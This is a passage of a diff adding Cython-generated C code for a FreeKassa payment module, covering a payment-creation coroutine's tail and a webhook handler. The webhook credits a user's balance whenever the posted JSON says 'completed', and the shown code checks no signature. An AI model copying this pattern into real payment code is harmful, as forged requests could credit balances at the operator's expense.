__Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_22 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_22; + __pyx_t_22 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_ExceptionReset(__pyx_t_18, __pyx_t_17, __pyx_t_16); + } + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_21, __pyx_t_20, __pyx_t_19); + __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; + goto __pyx_L7_except_return; + } + } + } + goto __pyx_L6_except_error; + + /* "handlers/payments/freekassa_pay.py":51 + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) + * + * try: # <<<<<<<<<<<<<< + * response = requests.post( + * "https://api.freekassa.com/v1/orders/create", json=params + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_ExceptionReset(__pyx_t_6, __pyx_t_7, __pyx_t_8); + goto __pyx_L1_error; + __pyx_L8_try_return:; + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_ExceptionReset(__pyx_t_6, __pyx_t_7, __pyx_t_8); + goto __pyx_L0; + __pyx_L7_except_return:; + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_ExceptionReset(__pyx_t_6, __pyx_t_7, __pyx_t_8); + goto __pyx_L0; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":36 + * + * + * async def create_payment(user_id, amount, email, ip): # <<<<<<<<<<<<<< + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_AddTraceback("create_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_7generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":70 + * + * + * async def freekassa_webhook(request): # <<<<<<<<<<<<<< + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_6freekassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_6freekassa_webhook = {"freekassa_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_6freekassa_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_6freekassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("freekassa_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 70, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "freekassa_webhook") < 0)) __PYX_ERR(0, 70, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("freekassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 70, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.freekassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_5freekassa_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_5freekassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("freekassa_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 70, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_7generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_freekassa_webhook, __pyx_n_s_freekassa_webhook, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.freekassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_7generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + int __pyx_t_6; + double __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("freekassa_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L6_resume_from_await; + case 3: goto __pyx_L7_resume_from_await; + case 4: goto __pyx_L8_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 70, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":71 + * + * async def freekassa_webhook(request): + * data = await request.json() # <<<<<<<<<<<<<< + * logging.debug(f" FreeKassa: {data}") + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 71, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":72 + * async def freekassa_webhook(request): + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") # <<<<<<<<<<<<<< + * + * logging.debug(f" FreeKassa: {data}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logging); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_FreeKassa_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":74 + * logging.debug(f" FreeKassa: {data}") + * + * logging.debug(f" FreeKassa: {data}") # <<<<<<<<<<<<<< + * + * if data["status"] == "completed": + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logging); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_FreeKassa_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":76 + * logging.debug(f" FreeKassa: {data}") + * + * if data["status"] == "completed": # <<<<<<<<<<<<<< + * user_id = data["metadata"]["user_id"] + * amount = float(data["amount"]) + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_completed, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_6) { + + /* "handlers/payments/freekassa_pay.py":77 + * + * if data["status"] == "completed": + * user_id = data["metadata"]["user_id"] # <<<<<<<<<<<<<< + * amount = float(data["amount"]) + * await add_payment(int(user_id), float(amount), "freekassa") + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_metadata); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_Dict_GetItem(__pyx_t_1, __pyx_n_u_user_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_5; + __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":78 + * if data["status"] == "completed": + * user_id = data["metadata"]["user_id"] + * amount = float(data["amount"]) # <<<<<<<<<<<<<< + * await add_payment(int(user_id), float(amount), "freekassa") + * + */ + __pyx_t_5 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_7 = __Pyx_PyObject_AsDouble(__pyx_t_5); if (unlikely(__pyx_t_7 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_cur_scope->__pyx_v_amount = __pyx_t_7; + + /* "handlers/payments/freekassa_pay.py":79 + * user_id = data["metadata"]["user_id"] + * amount = float(data["amount"]) + * await add_payment(int(user_id), float(amount), "freekassa") # <<<<<<<<<<<<<< + * + * await update_balance(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_8, __pyx_t_2, __pyx_t_3, __pyx_n_u_freekassa}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 79, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 79, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":81 + * await add_payment(int(user_id), float(amount), "freekassa") + * + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_3}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 81, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 81, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":82 + * + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * + * return web.Response(status=200) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_3}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 82, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 82, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":76 + * logging.debug(f" FreeKassa: {data}") + * + * if data["status"] == "completed": # <<<<<<<<<<<<<< + * user_id = data["metadata"]["user_id"] + * amount = float(data["amount"]) + */ + } + + /* "handlers/payments/freekassa_pay.py":84 + * await send_payment_success_notification(user_id, 